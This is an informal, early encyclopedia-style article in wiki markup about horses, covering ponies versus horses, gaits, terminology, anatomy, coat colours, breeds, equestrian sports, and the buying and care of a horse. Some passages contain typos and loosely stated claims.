Usually, size alone marks the difference between horses and ponies. The threshold is 14.2 hh (1.47 m) for an adult. Below the threshold an animal is a pony, while above the threshold it is a horse.  Thus normal variations can mean that a horse stallion and horse mare can become the parents of an adult pony. However, a distinct set of characteristic pony traits, developed in northwest Europe and further evolved in the British Isles, make it less clear whether it is more appropriate to use the word &quot;pony&quot; to describe a ''size'' or a ''type''. Many people consider the [[Shetland pony]] as the archetypal pony, as its proportions are so different from those of horses. Several small breeds are referred to as &quot;horses&quot; or &quot;ponies&quot; interchangeably, including the Icelandic, Fjord, and Caspian types. Breeders of miniature horses favor that name because they strive to reproduce horse-like attributes in a much smaller animal, even though their horses undeniably descend from ponies.

===Words for gaits===

All horses move naturally with four basic [[gait]]s; these are referred to as the walk, the [[Trot (horse gait)|trot]]/jog, the [[Horse gait|canter/lope]] (&quot;canter&quot; in English riding, &quot;lope&quot; in Western), and the gallop. 


'''The [[Horse gait|walk]]'''

A walk is a &quot;four-beat&quot; lateral gait in which a horse must have three feet on the ground and only one foot in the air at any time. The walking horse will lift first a hind leg, then the foreleg on the same side, then the remaining hind leg, then the foreleg on the same side. A rider on a trained horse gently squeezes the sides of the animal and releases the pressure on its [[reins]] in order to initiate a walk from a stationary position. To initiate a walk when a horse is trotting, the rider gently applies pressure on the reins.


'''The [[trot (horse gait)|trot/jog]]'''

A [[trot (horse gait)|trot]] is a &quot;two beat&quot; diagonal gait in which a foreleg and opposite hindleg (often called &quot;diagonals&quot;) touch the ground at the same time. In this gait, each leg bears weight separately, making it ideal to check for lameness or for stiffness in the joints. A rider on a walking horse initiates a trot by reducing tautness on the reins and applying more leg pressure. There are two types of trot a rider can perform; these are called posting trot, in which the rider stands up slightly in the saddle each time the animal's outside front leg goes forward, and sitting trot, in which the rider sits in the saddle and matches the horse's movement. During the trot, at one time, all four of the horses hoove are off of the surfase it is trotting on.


'''The [[Horse gait|canter/lope]]'''

A canter is a &quot;three beat&quot; gait in which a foreleg and opposite hindleg strike the ground together, and the other two legs strike separately. A cantering horse will first stride off with the outside hind leg, then the inside hind and outside fore together, then the inside front leg, and finally a period of suspension in which all four legs are off the ground. the rhythm should be ''1-2-3'', ''1-2-3'', etc. When cantering in a straight line, it does not usually matter which foreleg (or leading leg) goes first, but both leads should receive equal practice time,  as otherwise the horse may become &quot;one-sided&quot; or develop a reluctance to canter on a specific lead. In the arena, the horse should canter on the inside lead. In making a fairly tight turn, the inside leg (the one nearest to the center of the turn) should lead, as this prevents the horse from &quot;falling in&quot;. To get a horse to canter on the correct leg from trot, one must go into sitting trot, place their outside leg slightly behind the girth and squeeze with the inside leg. To get a horse to canter from gallop, one must alter the position of the body slightly back in the saddle, then  you must place the outside leg behind the girth to allow the horse to canter on the correct leg, and apply pressure on the reins. Also called &quot;lope&quot; when riding in a Western show class.  The canter is not a natural gait, but a restrained form of a gallop.


'''The [[Horse gait|gallop]]'''
[[Image:Gallop.jpg||thumb|250px|right|At the gallop, with all four feet off the ground]]

The gallop is another &quot;four beat&quot; gait which follows a similar progression to the canter, except the two paired legs land separately, the hind leg landing slightly before the foreleg.  The gallop also involves having a leading leg. In turning at a very rapid rate, it is even more important that the horse use the appropriate lead, leading with the left leg if making a left turn, and the right leg if making a right turn, since the faster the turn the more the horse needs to lean into the turn. Horses that usually are galloped in a straight line need to be caused to alternate leads so that they do not suffer a muscular imbalance and subsequent difficulty making turns in one direction or the other. To get a horse into gallop, the rider must alter their position so they are slightly more forward in the saddle, then they should allow the horse to head and gently kick the horse's sides. The gallop is usually used in races or fox hunting. However, one would not gallop a horse during training in a ring or enclosed area, due to the fact that the horse may slip in attempting to gallop in such an area. Although a race track is an enclosed area, it is designed for a horse to gallop around, without being too enclosed which may cause the horse to slip while turning. 


'''Other gaits'''

Some horses, called Gaited Horses, have gaits other than the most common four above. For details, see [[Horse gait]]s.

===Words relating to horses===
You can view an entire equine dictionary at: [http://ultimatehorsesite.com/dictionary/dictionary.html The Horse Dictionary]
* [[Bronco]] - a wild, untamed horse, typically used in reference to the American [[mustang]].
* Brumby - a wild or untrained [[Australia]]n horse
* '''''Charger''''' - a medieval [[war horse]] of lighter build not to be confused with a destrier
* '''cob''' - any horse of a short-legged, stout variety, with short legs, and a compact body, neck and back
* '''colt''' - an unaltered male horse from birth till the age of 4.
* [[destrier]] - a heavy, strong medieval [[war horse]] not to be confused with a charger or palfrey
* [[draught horse]] - heavy, muscular [[beast of burden]]
* [[filly]] - female horse from birth till the age of 4.
* '''foal''' - infant horse of either sex
* [[garron]] - small and disdained horse
* [[gelding]] - a [[castrate]]d male horse of any age
* '''god dog''' - how the [[Apache]]s referred to horses
* '''green''' - a term used to describe an inexperienced horse
* [[hack]] - A horseback ride taken for the purpose of pleasure, either for horse or rider. Not a trail ride or schooling ride. Generally used only by English-style riders. eg. ''I'm going out on a hack.&quot;''
* [[hackney (horse)|hackney]] - a specific breed of flashy, elegant driving pony
* [[Hand (unit)|Hand]] - a unit of measuring used frequently to measure a horses height. One hand is equal to 4 inches (appox. 10 cm) 
* horse - adult equine of either sex over 14.2 hh (58 inches, 1.47 [[metre|m]])
* [[jenny]] - a female donkey
* Mule- a jenny and a stallion mated
* [[mare]] - adult female horse
* [[Mustang (horse)|mustang]] - a [[feral]] horse found in the western plains of North America. According to BLM, though, a mustang is an unclaimed, unbranded, free-roaming horse.
* nag - A rude term used to describe old horses, 'ugly' horses (but beauty is only skin deep) or skinny, sickly horses.
* [[palfrey]] - a smooth gaited type, a riding horse, often used incorrectly to mean a woman's horse, but in fact, was ridden by knights and ladies and instead refers to the light build of the riding horses body.  The word being derived from the latin for 'light horse'.
* [[pony]] - equine  14.2 hh or less (58 inches, 1.47 metres)
* '''School Horse/Pony'''- A horse owned by a riding academy 
* shelt or shelty - a [[Shetland pony]]
* [[stallion]] - adult, male horse that is able to produce offspring
* '''weanling''' - a young horse that has just been weaned from their mother (usually 6 months or a little older)
* '''yearling''' - male or female horse one to two years old

In [[horse racing]] the definitions of colt, filly, mare, and horse differ from those given above. [[Thoroughbred]] racing defines a '''colt''' as a male [[horse]] less than five years old and a filly as a female horse less than five years old; [[harness racing]] defines colts and fillies as less than four years old. Horses older than colts and fillies become known as horses and mares respectively.

===Words relating to horse anatomy===
[[image:Horse parts.jpg|thumb|250px|Horse parts]]
; [[withers]]: the highest point of the shoulder seen best with horse standing square and head slightly lowered. The tops of the two shoulder blades and the space between them define the withers. 
; mane and forelock: long and relatively coarse hair growing from the dorsal ridge of the neck, lying on either the left or right side of the neck, and the continuation of that hair on the top of the head, where it generally hangs forward. (See illustration.)
; Dock: the point where the tail connects to the rear of the horse.
; Flank: Where the hind legs and the stomach of the horse meet.
; Pastern: The connection between the coronet and the fetlock. Made up of the middle and proximal phalanx.
; Fetlock: Resembles the ankle of the horse. Known to anatomists as the metacarpophalangeal joint.
; Coronet: The part of the hoof that connects the hoof to the pastern.
; Cannon: Resembles the shin of the horse. Consists of metacarpal III.
; Muzzle: the chin, mouth, and nostrils make up the muzzle on the horse's face.
; Crest: the point on the neck where the mane grows out of.
; Poll: the portion of the horse's neck right behind the ears.
; Hock: Hindlimb equivalent to the Heel, the main joint on the hind leg.
; Stifle: corresponds to the elbow of a horse, except on the hind limb.
; Gaskin: also known as the &quot;second thigh,&quot; the large muscle on the hind leg, just above the hock, below the stifle.
; Jowl: the cheek bone under the horses ear on both sides
; [[Chestnut (horse)|Chestnut]]: on the inside of every leg

=== Horse coat colors and markings===
[[Image:Horse.jpg|thumb|horses]]
Horses exhibit a diverse array of coat colors and distinctive markings, and a specialized vocabulary has evolved to describe them. In fact, one will often refer to a horse in the field by his or her coat color rather than by breed or by gender. 
====Coat colors include:====

* [[Appaloosa]] - a breed of horse with spots, any color mixed with white. There are different patterns: blanket- white blanket that typically starts around or behind withers with dark spots mostly over the hips, snowflake - solid with white spots over hips, and leopard - which is white with dark spots over all the coat. A true Appaloosa is actually a breed, not a color.
* [[Bay (color)|Bay]]- From light brown to very dark brown with black mane and tail with black points. Three types - Dark bay, blood bay, light bay and just bay.
* Black- There are two types of black, fading black and jet black. Ordinary black horses will fade to a rusty brownish color if the horse is exposed to sunlight on a regular basis. Jet black is a blue-black shade that is fadeproof. Black foals are usually born a mousy grey color. As their foal coat begins to shed out, their black color will show through,but jet black foals are born jet black. Usually for a horse to be considered black it must be completely black with no brown at all, only white markings.
* Brown - A bay without any black points.
* [[Buckskin]]- A bay horse with a gene that 'dilutes' the coat colour to a yellow, cream, or gold while keeping the black points (mane, tail, ears, legs).
* [[Chestnut (coat)|Chestnut]]- A reddish body color with no black.
* [[Cremello]] - A chestnut horse with two dilute genes that washes out almost all colour.  Often called pseudo albinos, they have blue eyes. There are no true albino horses.
* [[Dapple gray]]: a gray colored horse with rings, or dapples, scattered throughout.
* [[Dun]] - Yellowish brown with a dorsal stripe along the back and occasionally zebra stripings on the legs. 
* [[Fleabitten gray]] -  refers to usually red hairs flecked in the coat of a gray horse.
* [[Gray (horse)|Gray]] - A horse with black skin and clear hairs.  Gray horses can be born any color, and eventually most will turn gray or white with age. If you would define the horse as white it is still grey unless it is albino. Some gray horses that are very light must wear sunscreen.
* [[Grulla]]- A black horse with a dun gene. It is often a grayish/silver colored horse with dark dun factors.
* [[Pinto]] - a multi-colored horse with large patches of brown, white, and/or black and white. [[Piebald]] is black and white, while [[Skewbald]] is white and brown. Specific patterns such as tobiano, overo, and tovero refer to the orientation of white on the body.
* [[American Paint Horse|Paint]] - In 1962, the American Paint Horse Association began to recognize pinto horses with known Quarter Horse and/or Thoroughbred bloodlines as a separate breed. Today, Paint horses are the world's fifth most popular breed. 
* [[Palomino]]-chestnut horse that has one cream dilute gene that turns the horse to a golden, yellow, or tan shade with a flaxen (white) mane and tail. Often cited as being a color &quot;within three shades of a newly minted coin&quot;, palominos actually come in all shades from extremely light, to deep chocolate. 
* [[Creme gene|Perlino]] - Exactly like a cremello but a bay horse with two dilute genes.
* [[Roan (color)|Roan]] - a color pattern that causes white hairs to be sprinkled over the horse's body color. Red roans are chesnut and white hairs, blue roans are black/bay with white hairs. Roan can happen on any body color; for example, there are palomino roans and dun roans.  Roans are distinguishable from greys because roans typically do not change colour in their lifetimes, unlike gray that gradually gets lighter as a horse ages. Roans also have solid colored heads that do not lighten.
* [[Rose gray]]: a gray horse with a pinkish tinge to its coat. This color occurs while the horse is &quot;graying out.&quot;
* [[Chestnut (coat)|Sorrel]] - a light brown coat with a flaxen mane and tail.
* Splash - a [[Equine coat color genetics | genetically controlled horse coat]] variation.
* [[Tobiano]] - a genetic trait among horses which produces a characteristic white pattern in the coat.
* [[Gray (horse)|White]] - Any non-albino white horse is called a gray, even though they appear white. All white, may be the result of overlapping pinto, appaloosa, or sabino markings.  Rarely there are true white horses born and are documented to have a dominant white gene (see [[Gray (horse)]] for a discussion of these).  These horses have normal eye colour, and they stay white for life.

====Markings include:====

On the face:
* Star (a white patch between the eyes)
* Snip (a white patch on the muzzle)
* Stripe (narrow white stripe down the middle of the face)
* Blaze (broad white stripe down the middle of the face)
* White Face (sometimes called Bald Face)

On the legs:
* Ermine marks (black marks on the white just above the hoof)
* Sock (white marking that does not extend as high as the [[carpus|knee]] or [[Hock (zoology)|hock]])
* Stocking (white marking that extends as high as the knee or hock)

Elsewhere:
* Whorls, coloquially known as &quot;cow licks&quot; - are divergent or convergent patches of hair found anywhere on the body but mostly on the head, neck and just in front of the stifles.

For horse color and marking genetics see [[Equine coat color genetics]]. Another good resource for horse color is: [http://ultimatehorsesite.com/colors/index.html Horse color, markings, and genetics]. Another that has numerous photographs of various colors and markings is [http://equinecolor.com/ Equine color].

==The origin of modern horse breeds==
[[Image:Orse.jpg|thumb|right|100px|A horse of mixed breed, [[Dorset]], [[UK]]]]
Horses come in various sizes and shapes. The [[Draft horse|draft breed]]s can top 20 hands (80 inches, 2 metres) while the smallest miniature horses can stand as low as 5.2 hands (22 inches, 0.56 metres). The [[Patagonian Fallabella]], usually considered the smallest horse in the world, compares in size to a [[German Shepherd Dog]]. 

Several schools of thought exist to explain how this range of size and shape came about. These schools grew up reasoning from the type of dentition and from the horses' outward appearance.  One school, which we can call the &quot;Four Foundations&quot;, suggests that the modern horse evolved from two types of early domesticated pony and two types of early domesticated horse; the differences between these types account for the differences in type of the modern breeds.  A second school -- the &quot;Single Foundation&quot; -- holds only one breed of horse underwent domestication, and it diverged in form after domestication through human selective breeding (or in the case of feral horses, through ecological pressures).  Finally, certain geneticists have started evaluating the [[DNA]] and [[mitochondrial DNA]] to construct family trees. See:  [[Domestication of the horse]]

===Breeds, studbooks, purebreds and landraces===
[[Image:Equus_Arabian2.JPG||thumb|250px|right|Registered Arabian mare]]
Selective breeding of horses has occurred as long as man has domesticated them.  However, the concept of controlled breed registries has gained much wider importance during the 20th century.  One of the earliest formal registries was General Stud Book for thoroughbreds[http://www.imh.org/imh/bw/tbred.html#hist], a process that started in 1791 tracing back to the foundation sires for that breed.  These sires were Arabians, brought to England from the Middle East.

The [[Arab|Arabs]] had a reputation for breeding their prize mares to only the most worthy stallions, and kept extensive pedigrees of their &quot;asil&quot; (purebred) horses. During the late middle ages the [[Carthusian]] monks of southern Spain, themselves forbidden to ride, bred horses which nobles throughout Europe prized; the lineage survives to this day in the [[Andalusian horse]] or ''caballo de pura raza español''.

The modern landscape of breed designation presents a complicated picture. Some breeds have closed [[studbook]]s; a registered [[Thoroughbred]], [[Arabian horse|Arabian]], or [[American Quarter Horse|Quarter Horse]] must have two registered parents of the same breed, and no other criteria for registration apply. Other breeds tolerate limited infusions from other breeds&amp;mdash;the modern Appaloosa for instance must have at least one Appaloosa parent but may also have a [[American Quarter Horse|Quarter Horse]], Thoroughbred, or Arabian parent and must also exhibit spotted coloration to gain full registration. Still other breeds, such as most of the warmblood sporthorses, require individual judging of an individual animal's quality before registration or breeding approval.

Breed registries also differ as to their acceptance or rejection of breeding technology. For example, all (Jockey Club) Thoroughbred registries require that a registered Thoroughbred be a product of a natural mating ('live cover' in horse parlance). A foal born of two Thoroughbred parents, but by means of [[artificial insemination]], is barred from the Thoroughbred studbook. Any Thoroughbred bred outside of these contraints can become part of the Performance Horse Registry.  

Many breed registries allow artificial insemination (AI), embryo transfer, or both.  The high value of breed stallions has helped with the acceptance of these techniques because they 1.) allow for more doses with each stallion 'collection' and 2.) take away the risk of injury during breeding.

===Hotbloods, Warmbloods, and Coldbloods===
The Arabian horses, whether originating on the [[Arabia]]n peninsula or from the European studs (breeding establishments) of the 18th and 19th centuries, gained the title of &quot;hotbloods&quot;, for their temperament.  Arabians are known and valued for their sensitivity, keen awareness, athleticism, and energy.  It was these traits, combined with the lighter aesthetically refined bone structure which was used as the foundation of the Thoroughbreds.  They wished to infuse some of this energy and athleticism into their own best cavalry horses.  

The Thoroughbred is unique to all breeds in that its muscles can be trained for either fast-twitch (for sprinting) or slow-twitch (for endurance) making them an extremely versatile breed.  Arabians are used in the sport horse world almost exclusively for endurance competitions.  Breeders continue to use Arabian sires with Thoroughbred mares to enhance the sensitivity of the offspring for use in equestrian sports.  An Arabian/Thoroughbred cross is known as an [[Anglo-Arabian]]. Horsed in this group are commonly called 'hotbloods.'

True hotbloods usually offer greater riding challenges and rewards than other horses. Their sensitivity and intelligence enable quick learning, and greater communication and cooperation with their riders. However, they can sometimes also decide that new flowerpot is really a dragon, and you will spend the next five minutes calming them down.

Muscular and heavy draft horses are more or less known as &quot;coldbloods&quot;, as they have been bred to be workhorses and carriage horses with calm temperaments.  Harnessing a horse to a carriage requires some level of trust in the horse to remain calm when restrained.  The best known coldbloods would probably be the Budweiser Clydesdales
[http://images.google.com/images?&amp;q=budweiser+clydesdale&amp;btnG=Search].

[[Warmblood]] breeds began in much the same way as the Thoroughbred. The best of their carriage or cavalry horses were bred to Arabian, Anglo-Arabian and Thoroughbred sires.  The term &quot;[[warmblood]]s&quot; is sometimes used to mean any draft/Thoroughbred cross although this is becoming less common. The warmblood name has become the term to specifically refer to the sporthorse breed registries than began in Europe, although now worldwide.  These registries, or societies, such as the [[Hanoverian_(horse)|Hanoverian]], [[Oldenburg]], [[Trakkhener]], and [[Holsteiner]] have dominated the Olympics and World Equestrian Games in [[Dressage]] and [[Show Jumping]] since the 1950s. 

The [[list of horse breeds]] provides a partial alphabetical list of breeds of horse extant today, plus a discussion of rare breeds' conservation.

==Horses in sport today==
===Racing in all its forms===
Humans have always had a desire to know which horse (or horses) could move the fastest,    [[horse-racing]] has ancient roots.  Today, several categories of racing exist:

====Races subject to formal [[gambling]] ====

Under saddle:
#  Thoroughbred  [[flat racing]]; (under the aegis of the [[Jockey Club]] in the United Kingdom and the Jockey Club of North America)
#  Thoroughbred [[National Hunt]] racing or [[steeplechasing]] in the UK
#  Quarter Horse Racing--mostly in the United States, and sanctioned there by the American Quarter Horse Association.
#  Appaloosa Horse Racing
#  Arabian Horse Racing

In harness:
#  The United States Trotting Association organizes harness Racing in the United States (although the horses may also pace)
#  Harness Racing in Europe, New Zealand and Australia

====Amateur races without [[gambling]]====
# [[Endurance riding]], a sport in which the Arabian dominates at the top level, has become very popular in the United States and in Europe. The American Endurance Ride Conference organizes the sport in North America.  Endurance races take place over a given, measured distance and the horses have an even start.  Races begin at 20 miles and peak at 100 miles.  Note especially  the [[Tevis Cup]].
# Ride and Tie (in North America, organized by  Ride and Tie Association). Ride and Tie involves three equal partners: two humans and one horse.  The humans alternately run and ride. 

Thoroughbreds have a pre-eminent reputation as a racing breed, but Arabians, Quarter Horses, and Appaloosas also race on the flat in the United States.  Quarter Horses traditionally raced for a quarter mile, hence the name. [[Steeplechasing]] involves racing on a track where the horses also jump over obstacles.  It occurs most commonly in the United Kingdom. Standardbred trotters and pacers race in harness with a [[sulky]] or racing bike. In France they also race under saddle.



===Show Sports===
====The traditional competitions of Europe====
The three following count as [[Olympic Games | Olympic]] disciplines:

* [[Dressage]] (&quot;training&quot; in [[French language | French]]) involves the progressive training of the horse to a high level of impulsion, collection, and obedience. Competitive dressage  has the goal of showing the horse carrying out, on request, the natural movements that it performs without thinking while running loose. One dressage master has defined it as &quot;returning the freedom of the horse while carrying the rider.&quot;

* [[Show jumping]] comprises a timed event judged on the ability of the horse and rider to jump over a series of obstacles, in a given order and with the fewest refusals or knockdowns of portions of the obstacles.  At the [[Grand Prix horse racing|Grand Prix]] level fences may reach a height of as much as 6 feet.

* [[Eventing]], combined training, horse trials, &quot;the Military,&quot; or &quot;the complete test&quot; as its [[French language | French]] name translates, puts together the obedience of dressage with the athletic ability of show jumping, the fitness demands of a long endurance phase (a.k.a. &quot;roads and tracks&quot;) and the &quot;cross-country&quot; jumping phase.  In the last-named, the horses jump over fixed obstacles, unlike show jumping, where the majority of the obstacles will fall down or apart if hit by the horse.

====Found in the United States====

* [[Huntseat]] classes these days judge the movement and the form of the horse over fences. A typical hunter division would include a flat class, or hack class, in which the horse is judged on its movement. A typical &quot;hack winner&quot; would be known for its flat kneed trot and &quot;daisy cutter&quot; movement, a phrase coined since a good hunter could slice daisies in a field when it flicks its toes out. The over fences portion of the class is judged on the form of the horse and the smoothness of the course. A horse with good jumping form snaps its knees up and jumps with a good bascule. It should also be able to canter slowly but have a step large enough to make it down the lines. 

* [[Saddleseat]] (also known as Park or English Pleasure riding), a uniquely American discipline, developed to show to best advantage the extravagantly animated movement of high-stepping gaited breeds such as the [[American Saddlebred]] and the Tennessee Walker. Riders also commonly show Arabians and Morgans saddleseat in the United States.

* [[Equitation]] refers to those classes where the position of the rider is judged rather than the form or movement of the horse.

====Western riding====
Dressage, jumping and cross-country offer forms of what [[United States of America | America]]ns refer to as 'English riding' (although the United States has a strong following of riders in those disciplines). Western riding evolved stylistically from traditions brought to the Americas by the [[Spain | Spanish]], and its skills stem from the working needs of the [[cowboy]] in the [[American West]]. A main differentiating factor comes from the need of the cowboy to rope cattle with a [[lariat]] (or [[lasso]]). The cowboy must control the horse with one hand and use the lariat with the other hand. That means that horses must learn to [[neck rein]], that is, to respond to light pressure of the slack rein against the horse's neck. Once the cowboy has twirled the lariat and thrown its loop over a cow's head, he must snub the rope to the horn of his saddle. For roping calves, the horse learns to pull back against the [[calf]], which falls to the ground, while the cowboy dismounts and ties the calf's feet together so that he can be [[brand]] it, treat it for disease, and so on. Working with half-wild cattle, frequently in terrain where one cannot see what lurks behind the next bush, means the ever-present very great danger of becoming unseated in an accident miles from home and friends.

These multiple work needs mean that cowboys require different tack, most notably a [[curb bit]] (usually with longer bars than an English equitation curb or [[pelham bit]] would have) which works by leverage, long split reins (the ends of which can serve as an impromptu [[quirt]])  and a special kind of saddle. The Western saddle has a very much more substantial frame (traditionally made of wood) to absorb the shock of roping, a prominent pommel surmounted by a horn (a big knob for snubbing the lasso after roping an animal), and, frequently, tapaderos (&quot;taps&quot;) covering the front of the stirrups to prevent the cowboy's foot from slipping through the stirrup in an accident and resulting in a frightened horse dragging him behind it. The cowboy's boots, which have high heels of an uncommon shape, also feature a specific design to prevent the cowboy's foot from slipping through the stirrup.

Technically, fewer differences between 'English' and Western riding exist than most people think. 

The outfit of the competition Western rider differs from that of the dressage or 'English' rider. In dressage all riders wear the same to prevent distraction from the riding itself. But show -- in the form of outfit (and silver ornaments on saddle and tack) -- forms part of Western riding. The riders must wear [[cowboy boot]]s, [[jeans]], a shirt with long sleeves, and a [[cowboy hat]]. Riders can choose any color, and optionally accoutrements such as chaps, [[bolo tie]]s, belt buckles, and (shiny) [[spur]]s.

Competitions exist in the following forms:

* Western pleasure - the rider must show the horse in walk, jog (a slow, controlled trot), trot and lope (a slow, controlled canter). The horse must remain under control, with the rider directing minimal force through the reins and otherwise using minimal interference. 

*[[ Reining]] - considered by some the &quot;dressage&quot; of the western riding world, reining requires horse and rider to perform a precise pattern consisting of canter circles, rapid &quot;spins&quot; (a particularly athletic turn on the haunches), and the sliding stop (executed from a full gallop).

* [[Cutting (sport)|Cutting]]: more than any other, this event highlights the &quot;cow sense&quot; prized in stock breeds such as the Quarter horse. The horse and rider select and separate a calf out of a small group. The calf then tries to return to its herdmates; the rider loosens the reins and leaves it entirely to the horse to keep the calf separated, a job the best horses do with relish, savvy, and style. A jury awards points to the cutter.

* Team penning: a popular timed event in which a team of 3 riders must select 3 to 5 marked steers out of a herd and drive them into a small pen. The catch: the riders cannot close the gate to the pen till they have corralled all the cattle (and only the intended cattle) inside.

* Trail class: in this event, the rider has to maneuver the horse through an obstacle course in a ring. Speed is not important, but total control of the horse is. The horses have to move sideways, make 90 degree turns while moving backwards, a fence has to be opened and/or closed while mounted, and more such maneuvers relevant to everyday [[ranch]] or trail riding tasks are demonstrated.

* [[Barrel racing]] and [[pole bending]]: the timed speed/agility events of rodeo. In a barrel race, horse and rider gallop around a cloverleaf pattern of barrels, making agile turns without knocking the barrels over.  In pole bending, horse and rider gallop the length of a line of six upright poles, turn sharply and weave through the poles, turn again and weave back, and [[Horse gaits#Gallop|gallop]] back to the start.

* Halter class: here the horse is shown with only a [[halter]] and without a rider, but with a handler controlling the horse from the ground using a leadrope. The standard position of the handler is on the left side with the shoulder near the horse's eye. The horse is taken through a short pattern where the horse and handler must demonstrate control during walk, jog and turns. In regular halter class, judges will put emphasis on the performance and build of the horse when awarding points, in 'showmanship at halter' the performance of the handler and horse are both judged equally. Clothing of the handler and the halters tend to be more flashy in this discipline. Halter class is particularly popular with younger riders who do not yet have the skill or confidence to partake in other forms.

* [[Steer wrestling]]: Europe does not allow this activity because of animal welfare concerns, but it occurs in the [[United States of America]], usually at rodeo events. While riding, the rider jumps off his horse onto a steer and 'wrestles' it to the ground. 

* Roping: also banned in Europe. In [[calf roping]], the rider has to catch a running calf by the neck with a lasso, stop the animal in its tracks, rapidy dismount the horse and immobilize the calf by tying three of its legs together.  In [[team roping]], one horse and rider lassos a running steer's horns, while another horse and rider lassos the steer's two hind legs.

* Bronc riding (riding a bucking &quot;wild&quot; horse for a timed duration) counts as a separate event, not considered part of Western riding as such. It consists of [[bareback bronc]] riding and of [[saddle bronc]] riding.

===Other horse sports===
* [[Bullfighting]] (''[[rejoneo]]'')
* [[Cavalry (sport)]]
* [[Driving]], traditionally a buggy, carraige or wagon pulled by a single horse or tandem (team of horses). Some contemporary driving competitions are based on traversing obstacles at speed. Pleasure competitions are judged on the turnout/neatness of horse and buggy. 
*[[Charreada]], the highest form of Mexican horsemanship based on a mixture of Spanish and Native traditions.
* [[Fox hunting]]
* [[Horse hacking]]
* [[Horse show]]
* [[Jousting]]
* [[Hunter Pacing]], a sport where a trained rider rides a trail at speeds based on its condition and then people compete to ride closest to that perfect time. Hunter paces are usually held in a series. Hunter paces are usually a few miles long.
* [[Polo]], a team game played on horseback, involves riders using a long-handled [[mallet]] to drive a ball on the ground into the opposing team's [[goal (sport) | goal]] while the opposing team defends their goal. 
* ''[[Rapa das bestas]]''
* [[Reining]]
* [[Rodeo]]
* [[Dressage]]
* [[Show Jumping]]
* [[Trail Riding]], The art and sport of riding any breed horse, any style across the land. It is important for trail riders to know which areas are safe and which allow horses to cross. Competitive trail riding involves riding over long distances with scheduled stops to take the horses' vital signs. 
* [[Cross Country Jumping]], a jumping course that contains logs, and natural obstacles mostly.  The common clothes worn are usually brighter colors and less conservative.
* [[3-Day Eventing]]- a competition where you are judged on your total score from a day of dressage, stadium jumping and cross country
* Polocrosse
* Campdrafting
* Vaulting (gymnastics and dance on horseback)
* [[Steeplechase]]
* Gymkhana

===Criticism of horses in sport===
Most animal rights groups such as the [http://www.hsus.org Humane Society of the United States] and [[People for the Ethical Treatment of Animals]], which advocate against animal ownership, target wilder horse &quot;sports&quot;, with claims of cruelty. Horse racing and rodeo are more easily targeted because of their extensive use of animals in sport. It is difficult for average people (or even experts) to differentiate between normal equine abilities  and actual abuse.

Rodeo and racing professionals do have a strong case against radical claims. Both sides provide contradictory evidence. One problem is a disagreement about terms like abuse. Animal rights activists have the general viewpoint that all animal ownership is wrong, and thus using horses for riding and sports is also wrong, but these events are 'softer targets' than trail riding or 'refined' sports like dressage. Such extreme viewpoints are rare, however, and many people are more reasonable and worried that sports may cause injuries to horse athletes, just as they do for human athletes. All sports are dangerous, but then one observing horses in nature can see more terrible injuries occurring than occur in sports. This brings a dilemma: If a horse gets an injury while competing, is this immoral? If a horse slips in its pasture while playing, is this ok? 

Rodeos claim that an injured horse is less profitable than a healthy horse. Activists claim rodeos [[turn a blind eye]] to minor injuries which do not impair performance. They also cite psychological harm, poor living conditions, forced breeding, and the killing of unprofitable horses as forms of abuse. Most horse owners that compete in sports, however, do not force-breed, kill unprofitable horses, or have poor living conditions for their horses. Sports like rodeo and racing are closely monitored by veterinarians to prevent and treat injuries if they occur. Animal living conditions vary, but many rodeo stock live on open ranches when not working on the weekend. Horse professionals that understand equine psychology and care claim they know better what is best for horses than rights activists that live horseless lives and are easily influenced by propaganda. Both groups agree that 'genuine abuse' should be ended within the industry.

==Buying a horse==
Buying and caring for a horse or pony can be extremely expensive and time-consuming. First-time buyers are advised to take a knowledgeable friend, preferably a riding instructor with them, to view a prospective horse. The horse should also, preferably, be 'vetted' which means the horse will undergo a scrutinous veterinary examination. This examination is normally undergone in different stages. A 5-stage vetting is the most comprehensive and is recommended. A vetting may give indication of any previous injuries or current ailments the horse or pony may have, which could prove to be expensive to treat and/or limit the horse or pony's ability to be ridden and/or breed.
===Ways to look for a prospective horse===
* Ask at your local riding school or livery yard
* Ask at your local Pony/Riding club
* Ask your local veterinary practise/farrier
* Look through magazines, newspapers
* There are many web sites with classified advert
* Word of mouth
* Dealer - make sure he/she is reputable
* Market/sales/auction - be prepared to see some upsetting sights. You will need to have a good eye for a horse - many are sold as seen and could have hidden problems.

The horse or pony should come with a passport, and registration details should be changed to your name and address when you buy the horse.

==Caring for a horse==
There are many aspects to horse and pony care.

===Basic requirements===
The horse must be checked AT LEAST once a day. It must have access to clean fresh water at all times, and preferably grass or hay too. If you cannot visit your horse every day, you should look at keeping it at a livery yard, where the staff can care for your horse for a fee. The minimum requirements are that the horse/pony has plenty to eat and drink, has regular farriery/dental/veterinary care and its feet are picked out daily to prevent thrush/lameness. It should also have some form of regular exercise whether it is being ridden or turned out in a spacious field.

===Shoeing and foot care===
The horse or pony should be shod every 4-6 weeks. If the horse or pony is unshod (if it is a youngster or not used for ridden work) it must have a trim and levelling every 8-10 weeks. Your farrier should be a qualified and registered farrier, and should advertise this fact with a sticker in his/her van. If you are unsure, contact the Farrier's Registration Council. It is illegal for anyone else other than a registered farrier to shoe or trim a horse's feet in the UK. The farrier should have any one of the following qualifications, the FWCF being the most highly skilled:

* DipWCF (Diploma of the Worshipful Company of Farriers)
* AWCF (Associateship of the Worshipful Company of Farriers)
* FWCF (Fellowship of the Worshipful Company of Farriers)

A set of four shoes and labour typically costs £50-£60 a set. This may be more or less if you have an unusually large/small/difficult horse or pony, or if it needs remedial shoeing.

The feet should be picked out using a hoof pick at least once a day, to remove any stones, mud and dirt and to check that the shoes are in good condition.

Feet should be kept clean and dry wherever possible, as wet, dirty conditions may lead to thrush and/or lameness.

===Veterinary care===
====Vaccinations====
The horse or pony should be vaccinated against equine 'flu and tetanus. You will need to present a vaccination card at many shows. You should register with a veterinary practise incase you need to call them out in an emergency.

====First-aid kit====
You should keep a well-stocked equine (and human) first-aid kit in a place where it is easily accessed. Replace any used/out of date items as soon as possible.

Basics any kit should include: 

* Thermometer
* Petroleum jelly (to use as lubrication for thermometer)
* Salt (for saline solution)
* Cotton wool (for cleaning wounds, not dressing them)
* Animalintex/poultice dressing. Even disposable nappies/diapers can be cut and used as a poultice as they draw moisture out of wounds
* Gamgee, to be used as padding underneath bandages
* Sharp, clean scissors, reserved for first aid kit only
* Clean bucket, reserved for first-aid kit only, for washing out wounds
* Clean sponge, reserved for first-aid kit only
* Antiseptic cream/powder
* Bandages - 4x stable bandages, possibly the 'veterinary' type too
